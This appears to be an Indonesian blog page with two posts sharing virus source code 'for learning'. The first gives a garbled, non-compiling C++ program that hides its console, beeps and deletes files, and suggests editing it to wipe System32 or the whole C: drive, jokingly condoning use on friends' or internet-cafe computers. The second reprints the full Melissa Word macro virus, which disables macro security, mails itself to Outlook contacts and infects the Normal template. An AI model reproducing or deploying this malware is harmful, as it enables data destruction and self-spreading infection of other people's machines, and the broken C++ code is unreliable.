Source Code Virus Sederhana Dari C++

Sebuah coding sederhana yang fungsinya menghapus semua file tanpa diketahui..
Script ini hanya menghapus file.txt yang kosong saja di drive C: ..
Ciri khas aplikasi ini membuat suara seperti “Beep” pada bios kompi tersebut…  cekidot gan ^^
Selanjutnya copy scrip ini pada complier

# Include <iostream.h>
#include <widows.h>
#include <winable>
#include <stdio.h>
using namespace std;
int main;
{
FreeConsle ();// membuat program yang dijalankan tanpa konsol sehingga pengguna tidak tahu apa yang akan terjadi, ini adalah opsional.
Beep (800.300); / / UNTUK bunyi Beep (ffrequency, durasi 1000 = 1 detik)
Sleep(3000); Sleep (3000);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
menghapus ("C: \ \ file.txt" / * ya \ \ tidak \ setelah C :*/);
return 0; return 0;
}

setelah di pake akan terdengar serangkaian bunyi beep (bukan dari speeker tp dari BIOS) dan akan menghapus file txt.
kita jg dapat mengedit agar dapat digunakan untuk menghapus sistem32 di kompie,

menghapus   (C: \ \ misalnya);

Segala yg ada di direktori C: akan ke delete ^^
Jadikan ini sebagai bahan pembelajaran,jangan di gunakan untuk kejahatan atau jailin kompie temen/warnet,tapi kalo kepepet ya gpp sih….  :D

Read More

Source Code Virus Melissa

Dulu virus yang satu ini sempat menggemparkan bagi pengguna PC dan internet. dan
pada bulan Maret 1999, virus Melissa begitu kuatnya sehingga memaksa Microsoft dan sejumlah perusahaan raksasa lainnya untuk benar-benar mematikan koneksi e-mail mereka sampai virus dapat diatasi.
dan virus melissa sempat masuk daftar 10 virus paling berbahaya…

silakan baca-baca disini http://www.scribd.com/doc/62467890/10-Virus-Paling-Berbahaya

Kebetulan source code virus melissa sdh lama nangkring di hardisk saya, jadi sebagai referensi atau pembelajaran bagi yg ingin tau lebih dalam lagi virus melissa ane bagiin source codenya.

// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security”, “Level”) <> “”
Then
CommandBars(“Macro”).Controls(“Security…”).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security”, “Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Mic*ft\Office\”, “Melissa?”) <> “… by David L. Smith”
Then
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = “Important Message From ” &
Application.UserName
BreakUmOffASlice.Body = “Here is that document you asked for … don’t
show anyone else;-)”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = “”
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Mic*ft\Office\”,
“Melissa?”) = “… by Kwyjibo”
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> “Melissa” Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = “Melissa”
DoAD = True
End If
If NTI1.Name <> “Melissa” Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = “Melissa”
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = “”
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub Document_Close()”)
Do While ADI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = “”
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub Document_Open()”)
Do While NTI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, “Document”) =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False) Then
ActiveDocument.Saved = True: End If
‘WORD/Melissa written by Kwyjibo
‘Works in both Word 2000 and Word 97
‘Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <–> Word 2000 … it’s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText ” Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game’s over.
I’m outta here.”
End Sub

Kalo mau tau lebih dalam lagi tentang virus ini monggo ke TKP

Read More